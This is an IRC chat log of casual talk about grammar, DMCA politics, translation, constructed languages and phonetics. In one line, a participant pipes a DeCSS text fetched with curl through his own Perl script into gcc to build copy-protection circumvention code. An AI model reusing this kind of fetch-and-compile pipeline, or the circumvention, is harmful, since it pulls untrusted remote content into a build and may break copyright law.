19:57:01 <ehird> pikhq: I'm going to write a compiler for that now
19:57:04 <ehird> as I am contrarian
19:57:20 <pikhq> ehird: You will retroactively make it illegal.
19:57:35 <ehird> I can't make someone else retroactively do something illegal
19:57:37 <ehird> I don't have that legal power
19:57:37 <AnMaster> ehird, well that was what it meant. Except in English it is "read" but pronounced as "red" in past.
19:57:45 <ehird> distributing it w/ knowledge of the compiler will become illegal, though
19:57:49 <AnMaster> thus what I wrote was correct as far as I can tell ehird
19:57:51 <ehird> AnMaster: the fact is your sentence was invalid
19:57:59 <ehird> ais523: [[* AnMaster read the convo now]] - invalid, agreed?
19:58:01 <ehird> or at least very awkward
19:58:03 <oerjan> AnMaster: yeah english really blue it
19:58:19 <AnMaster> ehird, would have to be "/me walkeds foo"
19:58:21 -!- MizardX has joined.
19:58:32 <FireFly> I also thought the "readed" was a bit odd
19:59:19 <AnMaster> FireFly, that is because it is "read" in past tense
19:59:48 <ehird> AnMaster: logic doesn't change what is valid about a language
19:59:49 <AnMaster> that is why it has to be "* AnMaster read the convo now". It is "AnMaster <past tense of "to read"> the convo now".
20:00:10 <oerjan> orange you glad english spelling is so logical
20:00:32 <AnMaster> since that would imply present tense
20:00:53 <ehird> AnMaster: it just is invalid
20:01:01 <ehird> ask psygnisfive if you want to know the linguistic reason, I don't
20:01:07 <AnMaster> ehird, why. Is "AnMaster walked to the house now" invalid too?
20:01:13 <ehird> I'm just a native speaker and I know that it's either incredibly awkward or invalid
20:01:27 <ehird> AnMaster: Step 1. Read past two messages. Step 2. Repeat until comprehension is achieved.
20:01:41 <ais523> ehird: I think it's valid but incredibly awkward, the original
20:01:48 <ais523> likewise, for the new one
20:01:56 <ais523> you're mixing past tense with an indication of the present
20:02:16 <ehird> AnMaster: the correct form is "I've read the convo now"
20:02:21 <oerjan> i was sort of hoping for a groaning yellow epic proportions here...
20:02:22 <ehird> "AnMaster read the" = "I read the"
20:02:29 <ehird> and correctness needs I → I've
20:02:33 <ais523> "have read", not "read", makes it work better
20:02:42 <ais523> as it's "have read by now", a sort of past version of the future perfect
20:03:00 <AnMaster> ais523, yes that was the intention
20:03:15 <AnMaster> the thing I was saying here was that ehird's "reads*" correction was not correct.
20:03:17 <ehird> I have written a perl compiler from DeCSSLanguage to C
20:03:26 <ehird> AnMaster: I thought you meant you were reading it now
20:03:35 <ehird> because it was awkward, but not if you added an s
20:03:38 <AnMaster> ehird, If so I would have used "reads"
20:03:47 <ehird> AnMaster: oh come on, like you don't make trivial typos all the time
20:04:04 <AnMaster> ehird, anyway, it isn't my fault English writes it as "read" but pronounces it either as "read" or "red"
20:04:06 <ehird> my brain thinks you making a trivial typo is more likely than you making a horribly warped sentence, and so assumed the former
20:04:10 <ehird> ...........................................
20:04:14 <ehird> what's it got to do with pronounciation
20:04:27 <AnMaster> ehird, because the spelling is confusing in such cases
20:04:54 <AnMaster> if it has been a verb that you added the standard "ed" to to make past tense it would have been harder to misunderstood
20:05:02 <AnMaster> same for if I had _said_ "red"
20:05:27 <AnMaster> (and yes I'm aware of those two "to", but as far as I can tell it is valid?)
20:05:46 <ehird> ais523: what's a better way of doing 'print func <>'?
20:05:50 <ehird> for <> = whole input
20:05:54 <ehird> AnMaster: go speak lojban
20:05:59 <oerjan> AnMaster: i think you need the first "has" to be "had", though
20:06:40 <AnMaster> I don't proof read IRC lines, but if I had I think I would have detected that had.
20:06:58 <AnMaster> it definitely stands out if you read it aloud.
20:07:04 <FireFly> Maybe it changed word class as we speak?
20:09:49 <AnMaster> FireFly, hm? Had had been has you might have been correct (and I'm not sure about that "have"...)
20:15:29 <ehird> Uncivil disobedience: http://pastie.org/496882.txt?key=guczgfl0y62fnulv88jhg
20:16:19 <AnMaster> ehird, what is the point of the original...
20:16:30 <ehird> AnMaster: it's US law related
20:16:42 <ehird> don't try to understand, you'll spend half an hour preaching to the choir about how it's stupid
20:17:16 <GregorR-L> ehird: "Please do not write a compiler or interpreter for this language." lawl
20:17:36 <AnMaster> ehird, I know what DeCSS is (breaking copy protection...) but why doesn't he want a compiler for that language?
20:17:48 <ehird> AnMaster: because that makes the program illegal
20:18:11 <AnMaster> ehird, he should have a human readable description of the algorithm instead. Would be safer.
20:18:21 <ehird> that defeats the point entirely
20:18:44 <GregorR-L> The point is basically to make fun of DMCA.
20:19:20 <ehird> he has an email address
20:19:23 <ehird> I'm going to email him that program
20:19:36 <ehird> AnMaster: i s/byte/char/ previously
20:19:40 <ehird> i've tested the compilation
20:19:42 <ehird> only main is missing
20:19:48 <ehird> you should make a library out of it in one line
20:19:55 <ehird> curl http://www.cs.cmu.edu/~dst/DeCSS/Gallery/new-language.txt | perl decsslang.pl | gcc -x c /dev/stdin <stuff>
20:20:54 <ehird> let's hope the :-) in the subject line offsets the anger of "Fuck you"
20:21:14 <ehird> i'm such a bastard
20:21:26 <FireFly> Remember to paste the reaction
20:22:25 <AnMaster> ehird, you seemed irritated when I cared all about edge cases...
20:22:33 <ehird> AnMaster: ... whut
20:22:43 <AnMaster> ehird, you have been that before.?
20:22:51 <ehird> what are you talking about?
20:22:57 <ehird> I'm trying to figure out any context at all
20:23:09 <AnMaster> ehird, the context will happen later
20:23:21 <ehird> ais523: can you tell me what AnMaster is talking about?
20:23:29 <AnMaster> ehird, however, were you or were you not irritated when I started talking about edge cases before
20:23:32 <ehird> as far as I can tell from his last line, he's replying to something I'll say in the future
20:23:41 <AnMaster> both for cfunge, and for other stuff
20:23:50 <AnMaster> like new language ideas you had
20:24:00 <ehird> AnMaster: I don't answer questions without context. :)
20:24:21 <ehird> Then 'tis a pointless question.
20:24:33 <AnMaster> ehird, it could be argued that this "no such language" is such an edge case of the DMCA law anyway...
20:24:43 <AnMaster> not that I'm saying I consider it so
20:24:49 -!- nooga has joined.
20:24:53 <ehird> i just did it for fun
20:24:57 <AnMaster> ehird, so edge cases aren't important? ;P
20:24:58 <ehird> and I don't think the concept is legally valid
20:25:01 <pikhq> I'd say there's so very much sickeningly wrong with the DMCA.
20:25:26 <ehird> Step 1. Repeal DMCA. Step 2. Repeal patents. Step 3. Repeal copyright law.
20:25:39 <ehird> ↑ Nevergetelectedeverneverforeverintheus Anonymous
20:25:45 <ehird> 3-step program to not getting elected in the US.
20:25:46 <nooga> http://www.multivax.com/last_question.html << this gave me creeps
20:25:56 <pikhq> ehird: Step 4. Create sane copyright law. Step 5. Create sane patent law.
20:26:13 <pikhq> ehird: Oh, that stance will work. ... 50 years from now.
20:26:20 <ehird> pikhq: sane copyright law. Right. Also, go about making paint dry faster.
20:26:28 <ehird> FURTHERMORE, any water caught being wet will be prosecuted.
20:26:29 <pikhq> ... When the Pirate Party is completely and utterly done in Europe.
20:27:12 <ehird> the only part of copyright law that might be worth keeping in any form, is preventing someone taking your work and changing the name
20:27:12 <FireFly> Uh.. that just sounds odd when directly translated from Swedish
20:27:17 <pikhq> nooga: Ah, The Last Question. One of my favorite Asimov short stories.
20:27:24 <ehird> FireFly: It is a bit of an odd name.
20:27:27 <ehird> Piratpartiet sounds nicer.
20:27:48 <nooga> ehird: many things in swedish sound nice
20:27:55 <nooga> i like to hear that language
20:28:05 <pikhq> ehird: Well, that *is* the only enforcable bit.
20:28:32 <nooga> pikhq: first impression: MULTIVAC -> google
20:28:34 <ehird> pikhq: OTOH the actual enforcing of it isn't very good and there's a ton of gray areas
20:28:42 <AnMaster> <nooga> http://www.multivax.com/last_question.html << this gave me creeps << tl;dr
20:28:43 <nooga> last impression: AC -> God
20:28:57 <ehird> AC = Singularity, more like.
20:29:03 <ehird> Rather rubbish singularity though, letting us die out like that.
20:29:08 <ehird> And then "exiting time" whatever that means.
20:29:08 <nooga> that's more suitable name
20:29:15 <nooga> i don't believe in God
20:29:18 <AnMaster> FireFly, hm.. men är det inte "piratpartiet"?
20:29:19 <ehird> Don't give a damn about the Universe existing if everyone's kicked the bucket :)
20:29:22 <ehird> AnMaster: yes, piratpartiet
20:29:34 <AnMaster> so why are you saying it sounds odd?
20:29:36 <FireFly> http://en.wikipedia.org/wiki/Pirate_Party
20:29:44 <ehird> nice that sweden's progressing politically faster than others
20:29:46 <AnMaster> isn't "party" the relevant translation of a political party?
20:29:47 <FireFly> It just sounds odd in English
20:30:03 <FireFly> But I still find it odd, I'm used to the swedish wording, all right?
20:30:14 <FireFly> I've never seen it in english before :P
20:30:23 <pikhq> FireFly: Doesn't sound odd to me.
20:30:47 <FireFly> Well, you're not natively Swedish speaking
20:30:49 * pikhq looks forward to having Pirates in office.
20:30:53 <ehird> Hey, last I heard Piratpartiet was the 4th largest party.
20:30:59 <pikhq> No, but I'm natively English speaking.
20:31:33 <pikhq> ehird: Yeah. It's estimated that it'll get a couple seats in EU Parliament.
20:31:34 <ehird> AnMaster: Piratpartiet have the third largest membership of any Swedish political party.
20:32:06 <pikhq> (here's to election systems that aren't winner takes all)
20:32:11 <AnMaster> but is it third in opinionsundersökningarna (wth is that in English?) for the EU election?
20:32:16 <ais523> go Europeon elections!
20:32:32 <ehird> The words peon and peonage are derived from the Spanish peón (pe'on). It has a range of meanings but its primary usage is to describe labourers with little control over their employment conditions.
20:32:56 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
20:33:06 <ehird> ais523: i like how the BNP are on the european election ballot. made me think for a second :)
20:33:28 <pikhq> ehird: British Nationalist?
20:33:41 <ehird> they're basically nazis
20:33:49 <ehird> and naturally hate the EU with a fiery passion
20:33:58 <pikhq> AnMaster: Approximately 8% of the Swedish population will vote Pirate, according to polls...
20:34:07 <GregorR-L> ehird: They just want to destroy it from the inside!
20:34:13 <AnMaster> I read it as 6% or so last time
20:34:30 <pikhq> http://www.dn.se/fordjupning/europa2009/piratpartiet-far-tva-mandat-i-ny-matning-1.879371
20:34:44 <pikhq> (read claim from Wikipedia, since I don't speak Swedish)
20:34:45 <ehird> pikhq: the best part of the BNP is UKIP (UK Independence Party). They claim they're the only party that wants to leave the EU (hem hem BNP don't count hrrrr) and opposes immigration and blah BUT DON'T BE SWAYED BY EXTREMISTS! Don't vote for a "racist party" that stands for our racist ideals (hem hem bnp HACK COUGH)! Vote for us!
20:35:07 <ehird> pikhq: FÖRDJUPNING.
20:35:10 <ehird> that logo looks awesome
20:35:14 <ehird> ais523: read my message again
20:35:17 <pikhq> ehird: Oh, "brilliant"
20:35:20 <ehird> I meant that the best thing about the BNP is UKIP
20:35:25 <AnMaster> "travels 'tva' places in new feeding"
20:35:44 <ehird> FÖRDJUPNING. = RECESS.
20:35:45 <AnMaster> "receives two places in new measurement"
20:35:57 <AnMaster> ehird, um. That may be one meaning
20:36:07 <pikhq> ehird: Call me ignorant about their views, but... Isn't the EU damned good for all involved?
20:36:09 * AnMaster wonders how to properly translate
20:36:21 <ehird> pikhq: Yes. The BNP/UKIP are crazy right wingers.
20:36:30 <ehird> pikhq: BNP descends from the National Front.
20:36:36 <GregorR-L> Well, the GBP is stronger than the Euro.
20:36:56 <ehird> pikhq: founder of the BNP once said:
20:37:00 <ehird> "Mein Kampf is my bible."
20:37:02 <pikhq> GregorR-L: Which is part of why the UK isn't part of the Euro Zone.
20:37:13 <ehird> AnMaster: "INDEPTH."
20:37:13 <pikhq> ehird: Oh, so they're the national socialists.
20:37:18 <GregorR-L> pikhq: Yeah, but the EU isn't exactly happy about that :P
20:37:26 <AnMaster> ehird, that could work. But yes it has several possible translations
20:37:33 <pikhq> GregorR-L: They do permit it, but... Yeah.
20:37:44 <GregorR-L> pikhq, ehird: IIRC, it's some loophole.
20:37:44 <ehird> the UK negotiated an exception
20:37:47 <FireFly> If I get famous some day, I'll say something in the lines of "The following statement is a lie. <dumb statement>"
20:37:50 <ehird> other countries used loopholes
20:37:53 <FireFly> Just to see how much I get quoted for it
20:37:56 <ehird> but the UK just voted themselves an exception
20:38:06 <pikhq> GregorR-L: It's something explicitly written in for the UK.
20:38:13 <AnMaster> ehird, which is why automatic translators suck in general. Because a one-to-one mapping usually doesn't work to create an idiomatic (or even correct) translation.
20:38:27 <oerjan> i think denmark also has an exception, while sweden is loopy
20:38:32 <pikhq> GregorR-L: Other countries in the EU without the Euro are claiming to not have an economy that could support it yet.
20:38:38 <ehird> oerjan: sweden don't use a loophole
20:38:44 <ehird> they use the officially-sanctioned "our market is too tin"
20:38:46 <kerlo> oerjan: I did use the present perfect progressive tense; I just didn't do so in my announcement that I was doing so.
20:38:51 <ehird> AnMaster: FÖRDJUPNING. → Recess | in-depth | bathtub
20:38:55 <oerjan> ehird: that _is_ their loophole
20:39:00 <AnMaster> ehird, No way about the latter one
20:39:02 <ehird> oerjan: but that's not a loophole
20:39:04 <ehird> oerjan: it's by design
20:39:07 <AnMaster> I never heard it meaning bathtub
20:39:09 <ehird> AnMaster: No, no, I'm sure about this. It's science.
20:39:17 <ehird> AnMaster: It also means large green baby.
20:39:31 <ehird> And terrorist communist mutant.
20:39:36 <ehird> And jumping on top of Fords.
20:40:07 <ehird> you know what would be fun?
20:40:20 <ehird> if everyone on the planet apart from one person swapped the meanings of yes/no suddenly one day
20:40:21 <AnMaster> ehird, fördjupning probably doesn't mean ALL the meanings that recess has even
20:40:28 <ehird> like, we can vote for the most hated person in the world
20:40:39 <ehird> AnMaster: which ones?
20:40:59 <AnMaster> from google translate: "a small concavity" "an enclosure that is set back or indented"
20:41:07 <AnMaster> but not the other ones listed in the first group
20:41:39 <ais523> ehird: why not make that one person swap instead?
20:41:39 <AnMaster> ehird, so now you know why translating back and forth with google nevers ends up at the same text
20:41:45 <ais523> comes to the same thing, but is much less annoying
20:41:48 <ais523> you don't have to replace books, etc
20:41:56 <ehird> ais523: how? you'd have to convince them to. the idea is to make them go insane
20:42:06 <ehird> AnMaster: I already knew why
20:42:09 <ais523> ehird: there are easier ways
20:42:33 <ehird> "This tie has not been shown. The prosecutor must show that Carl Lundström personally has interacted with the user King Kong, who may very well be found in the jungles of Cambodia..." —Pirate Bay trial
20:42:48 <AnMaster> ehird, anyway, isn't correct machine translation a strong AI problem iirc?
20:42:48 <ais523> the King Kong defence was great
20:42:56 <ehird> AnMaster: Comprehending things in general is.
20:43:01 <ehird> And translation is comprehending then restating.
20:43:01 <ais523> it's not the Chewbacca defence, in that it generally makes sense
20:43:11 <ehird> ais523: reminds me of it, though
20:43:14 <pikhq> It's still great, though.
20:43:22 <AnMaster> ehird, so why does google even TRY
20:43:31 <ehird> AnMaster: It's incredibly useful
20:43:33 <AnMaster> because in general it is gibberish
20:43:37 <ehird> I've read news articles with it before
20:43:38 <nooga> let's ask MULTIVAC
20:43:39 <tetha> hm, so translation is compilation
20:43:41 <pikhq> AnMaster: Because Google wants strong AI.
20:43:41 <ehird> for a native speaker, it's easy to understand
20:43:49 <ehird> you just have to fill in the gaps
20:43:51 <AnMaster> ehird, well, maybe "to English" works better than "to Swedish"
20:43:52 <ehird> and you can very well get the gist
20:43:58 <ehird> AnMaster: 'cuz english is more common
20:44:03 <pikhq> AnMaster: To English works decently.
20:44:17 <nooga> problem is that some laguages have more complex constructs and vocabulary than english
20:44:18 <pikhq> It certainly isn't correct English, but it at least gives you a clue.
20:44:24 <ehird> why is english any worse than swedish?
20:44:31 <AnMaster> ehird, It would be fun if it was YOU who had the problems with not being a native speaker instead of me.
20:44:32 <nooga> so that the translator must deduce right words and cases from the context
20:44:42 <nooga> and for this, culture is required
20:44:45 <ehird> AnMaster: If I wanted to learn Swedish I would.
20:44:54 <jix_> what i would really like is a tool that does only grammar parsing of the text and word translations
20:45:01 <AnMaster> ehird, You would still not manage it as well as a native speaker
20:45:09 <jix_> because that are both things that machines can do
20:45:13 <ehird> AnMaster: I meant, if I learned Swedish I would have your problems.
20:45:21 <ehird> jix_: no, grammatical parsing is not perfect
20:45:21 -!- bsmntbombdood_ has quit (Connection timed out).
20:45:30 <jix_> ehird: i didn't say perfect
20:45:31 <nooga> jix_: sentences in spoken languages often aren't 100% grammatically correct
20:45:33 <pikhq> jix_: Parsing English is probably strong AI.
20:45:35 <ehird> (btw machines can do anything)
20:45:36 <AnMaster> heck I bet it would be harder than English. Since you have simple rules for when it is "a" and when it is "an". We don't have simple ones for "en" and "ett" iirc.
20:45:53 <AnMaster> rather, it is more like things being either "le" or "la" in French.
20:45:54 <pikhq> jix_: Now, doing that with *Lojban*?
20:46:10 <ehird> lojban's official grammar is written in yacc. but it's terribly arcane yacc
20:46:23 * ais523 thinks that the BF Joust leaderboard is pretty atm
20:46:26 <pikhq> ehird: Actually, Lojban's official grammar is written in BNF.
20:46:38 <jix_> pikhq: ok let me rephrase it... it's easier to get computesr to parse grammer than to get them to restate sentences in a different langauge
20:46:39 <ais523> because all the defence programs are grouped in the middle
20:46:40 <ehird> ("Real ganstas sip on yacc, you just generate a parser")
20:46:43 <ais523> so you get a big block of 0s
20:46:48 <pikhq> The Yacc code they publish is generally thought to be equivalent, but the BNF is the official one.
20:46:58 <ehird> AnMaster: I DON'T KNOW
20:47:07 <ehird> Presumably because it's old
20:47:09 <nooga> sentences may be ambiguous
20:47:10 <ehird> AnMaster: http://www.lojban.org/publications/formal-grammars/grammar.300
20:47:28 <ehird> hmm not as arcane as I recall
20:47:38 <ehird> I am disappointed that nobody pickde up on my quote
20:48:07 -!- Gracenotes has quit (Success).
20:48:48 <AnMaster> " preparser will not lex the individual words per their normal selma'o; used to quote ungrammatical Lojban"
20:49:01 <AnMaster> "equivalent to the * or ? writing"
20:49:17 <AnMaster> ehird, you have special quotes for "free form" language or something?
20:49:29 <ehird> AnMaster: if you want to quote english/french/C/etc, there is syntax for that
20:49:39 <ehird> there's a difference between, e.g. in english
20:49:43 <AnMaster> why is the source code comments in English btw
20:49:43 <ehird> [["dog" would work]]
20:49:48 <ehird> [["return 4;" would work]]
20:49:58 <ehird> AnMaster: because most lojban speakers aren't fluent
20:50:05 <ehird> and it is of interest to non-speakers too
20:50:19 <ehird> iirc there's only ~3 fluent lojban speakers (can think & talk in lojban without mental translation)
20:50:32 <pikhq> A large part of Lojban's interest is in AI research.
20:50:54 <AnMaster> ehird, I can actually think in both Swedish an English. I think in English when programming definitely
20:50:55 <pikhq> It's certainly easier to do language handling when you have a syntax.
20:51:09 <ehird> AnMaster: but do you think in swedish for a split second and then translate to english?
20:51:15 <ehird> even if you don't notice
20:51:20 <AnMaster> ehird, not so that I notice it at least
20:51:33 <AnMaster> not sure how you could measure if I notice it or not
20:51:52 * pikhq should learn Toki Pona.
20:51:56 <AnMaster> ehird, but some stuff I definitely don't know what they are called in Swedish
20:52:09 <ehird> pikhq: it's easy; an afternoon's work
20:52:13 <ehird> IF your brain is wired for it
20:52:14 <AnMaster> ehird, I had problems trying to translate to the Swedish terms when talking about programming in Swedish
20:52:18 <ehird> I am unable to learn any new languages
20:52:20 <jix_> ehird: when programming i usually think in english too
20:52:24 <ehird> I can learn the terms, how to put it together, ...
20:52:29 <ehird> but my brain never adds a new language to my system
20:52:32 <jix_> ehird: because for many terms and expresions i don't even know the translations
20:52:53 <pikhq> Mi eblas lerni lingvojn.
20:52:54 <AnMaster> I have no clue what the correct term for "array" is in Swedish for example
20:52:57 <ehird> pikhq: also, Toki Pona relies on saphir-whorf being strongly true
20:53:07 <AnMaster> pretty sure I heard it though... was something extremely silly
20:53:20 <AnMaster> which sounds more like "field"
20:53:43 <pikhq> ehird: I'd assume Sonja knew that. Linguist and all.
20:53:51 <jix_> and i notice that i have real problems in german conversations about programming
20:53:53 <ehird> lemme find some quacky quotes
20:54:10 <AnMaster> ehird, so yes I'm pretty sure I think in English when programming
20:54:28 <ehird> pikhq: but basically, the site says that it changes your thinking to be positive and shit
20:54:41 <jix_> like i want to say something and mid sentence i notice i just can't ...
20:54:54 <ehird> lament was one of the first toki pona people thingy and he says sonja is batshit insane :)
20:55:07 <AnMaster> ehird, and I just tried to translate what I wrote above to Swedish. Took about 10 seconds. If I had thought it in Swedish surely it would be easy to backtranslate it?
20:55:16 <ehird> AnMaster: not necessarily
20:55:23 <pikhq> I seem to recall Sukoshi looking into it, as well.
20:55:26 <tetha> jix_: I tend to just switch to english in that case (usually causing angry looks)
20:55:35 <pikhq> Hmm. Okay, toki pona? Not worth it.
20:55:42 <AnMaster> ehird, heck, I can express things in English I can't in Swedish and vice versa.
20:55:50 <jix_> tetha: i often end up in an awfull mix of german and english
20:55:50 <ehird> pikhq: as a language it's nice though
20:55:55 <ehird> AnMaster: then you're probably fluent to a degree
20:56:43 <AnMaster> ehird, I'm not of course as fluent in English as I'm in Swedish. But for certain topics I'm probably more fluid in English yeah. Like programming.
20:56:47 <tetha> I think the worst part about learning a language is finding a place to use it a lot
20:57:23 <AnMaster> ehird, but I wouldn't know my way around an English kitchen. I know there are stuff like "spatulas" but I can't map them to the Swedish words, nor what they actually are.
20:57:25 <jix_> tetha: that's true... i failed at learning french at school because i just didn't need it
20:57:36 * AnMaster idly wounders what "durkslag" is in English
20:57:38 <ehird> coo lah too kah lah too
20:57:48 <nescience> it's actually "spatulus" and/or "spatuli"
20:57:50 -!- nooga has quit (Read error: 60 (Operation timed out)).
20:57:56 <jix_> while english was no problem because i was reading english texts, or rather grepped throught them for information i needed before i even started learning english at school...
20:57:58 <ehird> say that 10 times fast
20:58:04 <oerjan> kulatukalato is probably a nice eodermdrome graph...
20:58:10 <AnMaster> ehird, what would you call this: http://sv.wikipedia.org/wiki/Fil:Durchschlag.jpg
20:58:20 <jix_> and then when i started hanging around on irc i wrote a lot of english too
20:58:36 <jix_> i'd say that there are many days where i write more english than i talk german...
20:58:36 <pikhq> ehird: Easy, compared to some Esperanto tonguetwisters.
20:58:40 <AnMaster> ehird, wikipedia thinks it is "colander" in English... Hm.
20:58:45 <AnMaster> Either you fail or wikipedia fails
20:58:47 <ais523> hmm... tuka forms a cycle, t also connects to o, u and a both also connect to l
20:58:49 <ehird> AnMaster: oh right.
20:58:57 <ehird> pikhq: gimme a pronunciation file, I'm having troubles pronouncing it
20:59:03 <pikhq> Gah, just wrapping my tongue around 'scienco'.
20:59:08 <ehird> AnMaster: colander subset-of sieve
20:59:19 <ehird> A colander (also known as a Cullender) is a type of sieve, used in cooking for separating liquids and solids. It is much like a strainer. It is conventionally made of a light metal, such as aluminium or thinly rolled stainless steel, although it is not uncommon for it to be made of plastic. A colander is pierced with a pattern of small holes (or slots in plastic colanders) that let the liquid drain through, but retain the solids inside. Colanders often t
20:59:21 <ehird> ake the form of a large bowl with a built-in stand to allow water to drain out the bottom as well as the sides.
20:59:42 <AnMaster> ehird, ah. sieve translates to "såll" in Swedish iirc. And såll and durkslag are in Swedish both subsets of some unnamed superset.
21:00:12 <AnMaster> http://sv.wikipedia.org/wiki/Såll
21:00:31 <AnMaster> interwiki translates sieve to "sil" in Swedish
21:00:36 <AnMaster> which I would claim is a third type
21:00:58 <ehird> pikhq: if you do make a pronunciation file, note that there's stress on the start of every syllable
21:01:06 <AnMaster> the picture there I would also call a sil
21:01:13 <ehird> well, not total stress, that'd just be overpowering
21:01:30 <AnMaster> ehird, I think this is a case of non-simple mappings between the languages
21:02:46 <FireFly> "both subsets of some unnamed superset."
21:02:52 -!- MigoMipo_ has joined.
21:03:05 <oerjan> ais523: hm lots of redundancy. atotulukal.
21:03:09 <psygnisfive> anmaster: what is this that you're looking to do with linguisticy stuff?
21:03:15 -!- MigoMipo has quit (Nick collision from services.).
21:03:18 <ehird> oerjan: words start with consonants and end with vowels, always
21:03:32 <ehird> also, a consonant is always followed by a vowel
21:03:55 <oerjan> ehird: latotuluka then
21:04:10 <ehird> psygnisfive: pronounce kulatukalato into an audial file, gimme. koo lah too kah lah too, a is long a. small stress on the start of every syllable, no other stress
21:04:35 <ehird> oerjan: lah toh too loo kah
21:04:50 <psygnisfive> ehird: "long a" is meaningless to me, and "stress on the start of every syllable" but no other stress is also meaningless
21:04:57 <ehird> psygnisfive: a as in father
21:05:02 <ehird> and fine, if it's meaningless ignore it :)
21:05:04 <psygnisfive> stress is a contrastive thing. you cannot stress every syllable because then there is no stress at all.
21:05:19 <ehird> i was just trying to express the concept :P
21:05:27 <ehird> the consonants are pronounced a little bit more strongly than the vowels
21:05:29 <psygnisfive> furthermore, stress is a property of syllables as a whole, not parts of syllables
21:05:31 <ehird> but there's no stress
21:05:48 <ehird> psygnisfive: oh, forget it
21:05:55 <AnMaster> ehird, what does this word mean
21:06:08 <ehird> AnMaster: nothing concrete, and I just made it up
21:06:18 <ehird> it sounds nice, and it's the compound of two words
21:06:24 <AnMaster> ehird, I bet Deewiant could manage that nicely
21:06:26 <psygnisfive> also, i presume when you write "koo lah too kah lah too" you mean the "oo"s to be as in the english word "too"
21:06:30 <AnMaster> ehird, it looks like .fi to me
21:07:00 -!- Hiato1 has quit (Client Quit).
21:07:26 <ehird> psygnisfive: wait, no
21:07:32 <ehird> i must have said it wrong
21:07:49 <ehird> kulatukalato, koo lah too kah lah toh
21:08:19 <psygnisfive> and i presume that you dont intend genuine english phonology whereby you get aspiration and t-tapping
21:08:37 <ehird> i'm trying to keep the pronunciation as simple as possible :P
21:08:49 <ehird> psygnisfive: beats me
21:09:20 <ehird> Deewiant: yeah, .fi is an inspiration because it sounds so nice :)
21:09:34 <psygnisfive> this word is plausible for so many world languages its not funny
21:09:45 <psygnisfive> hawaiian, for instance, is i think uniformly CV
21:10:07 <jix_> hmm anyone ever tried to make a language (spoken, not programming) that has a minmal set of words?
21:10:21 <ehird> psygnisfive: so get to pronouncing it! :P
21:10:43 <AnMaster> Deewiant, can you pronounce it?
21:10:57 <psygnisfive> oh, ehird, you want me to record myself saying it?
21:11:06 <pikhq> ehird: So, Esperanto phoneme-grapheme mapping.
21:11:13 <AnMaster> <psygnisfive> and i presume that you dont intend genuine english phonology whereby you get aspiration and t-tapping <-- ?
21:11:13 <Deewiant> AnMaster: Of course, it's trivial :-P
21:11:21 <ehird> psygnisfive: yeah, 'cuz I keep tripping over it :)
21:11:55 <Deewiant> Meh, pronunciation is trivial as long as you can do the individual sounds
21:11:59 <psygnisfive> anmaster: english cannot pronounce /kulatukalato/ as [kulatukalato] because of the phonology of the language
21:12:03 <ehird> Deewiant: not fast enough
21:12:57 <ehird> Deewiant: you can pronounce each sound individually, but when you try and run them together into a word you trip, is my experience
21:13:05 <psygnisfive> in english, word-initial and stressed-syllable-initial stops like k and t become aspirated, and syllable-initial intervocalic /t/ turns into something roughly like an /r/
21:13:50 <psygnisfive> furthermore, english doesnt have pure [o], it has a diphthong, and english stress patterns disallow uniform stress on this word as well
21:14:12 <Deewiant> ehird: IME that only happens with tongue-twisty phrases
21:14:14 <ehird> psygnisfive: damn, english really hates this word
21:14:22 <psygnisfive> the most natural stress pattern for me is 'ku.la.tu.ka.,la.to
21:14:26 <ehird> you can pronounce anything
21:14:33 <psygnisfive> where ku has primary stress and la has secondary stress
21:14:59 <AnMaster> Deewiant, IMO kulatukalato IS tongue-twisty
21:15:13 <psygnisfive> also, english often reduces unstressed vowels
21:16:08 <oerjan> ais523: i get it down to otukatula
21:16:16 <pikhq> Might just be because I've got a bit of experience with Japanese, though.
21:16:27 <psygnisfive> SO, natural pronunciation of this word would not be [kulatukalato] in english but rather ['kʰu:lətukə,la:ɾoʊ]
21:16:29 <AnMaster> oerjan, did you mean AnMaster?
21:16:33 <oerjan> ais523: hm minimal eodermdroming is probably related to eulerian graphs...
21:16:38 <ais523> AnMaster: no he didn't
21:16:48 <ais523> oerjan: it's probably related to something
21:16:54 <AnMaster> I can't see what he is replying to
21:16:55 <psygnisfive> sorry, there'd be secondary stress on tu as well
21:16:56 <ais523> eulerian graphs seems likely
21:16:58 <ehird> psygnisfive: is this the only language in the world where you can just put the word in brackets to get the IPA? :P
21:17:07 <ais523> you need to figure out which edges to double
21:17:22 <ehird> psygnisfive: kulatukalato → [kulatukalato]
21:17:35 <ehird> the one kulatukalato is in
21:17:48 <oerjan> ais523: for my program it was easy because most of the graphs were trees, you just need to find the two farthest points
21:17:49 <psygnisfive> oh. well, it depends a lot on your font, actually
21:18:11 <AnMaster> psygnisfive, "<psygnisfive> SO, natural pronunciation of this word would not be [kulatukalato] in english but rather ['kʰu:lətukə,la:ɾoʊ]" <-- is that k rased to the power of h?
21:18:28 <Deewiant> psygnisfive: English pronunciation not only sounds but also looks ugly, I see
21:18:30 <pikhq> ehird: There's a language that is written soley in the subset of IPA that describes its phonemes.
21:18:52 <psygnisfive> Deewiant: your native language surely is similar.
21:18:53 <ehird> define normal k sound
21:18:57 <ehird> psygnisfive: finnish
21:19:04 <ehird> so gray area I'd imagine
21:19:11 <psygnisfive> anmaster, what do you mean normal k sound?
21:19:24 <pikhq> As does Toki pona...
21:19:34 <Deewiant> psygnisfive: I haven't actually seen pretty much any of that extended IPA (I even forget what it's called) so I can't say
21:19:36 <psygnisfive> also ehird: what i mean is, the font im using has "a" as a simple lowercase "cursive" a
21:19:56 <psygnisfive> but the spanish a is denoted in ipa with the times-new-roman kind of a
21:20:18 <psygnisfive> my font doesnt distinguish them, nor do most people in writing, but ipa does
21:20:18 <Deewiant> There are code points for all the variants, you don't have to rely on fonts :-P
21:21:09 <ehird> psygnisfive: how's that recording going
21:21:10 <psygnisfive> deewiant: extended IPA? none of this is extended IPA.
21:21:43 <Deewiant> psygnisfive: Isn't ʰ one of those things that's normally omitted
21:21:59 <ais523> hmm, it seems that bing is active already
21:22:02 <ais523> and live.com already redirects there
21:22:02 <psygnisfive> aspiration is a standard thing in many many world languages
21:22:32 <ehird> http://www.bing.com/search?q=how+is+babby+formed&go=&form=QBLH&filt=all
21:22:36 <ehird> it looks exactly like google.
21:22:38 <psygnisfive> english has aspiration in certain contexts, but not the kind that distinguishes sounds, korean and hindi have phonemic aspiration
21:22:52 <psygnisfive> so hindi and korean k^h is distinct from just k
21:23:51 <Deewiant> psygnisfive: I'm thinking of broad vs. narrow transcription
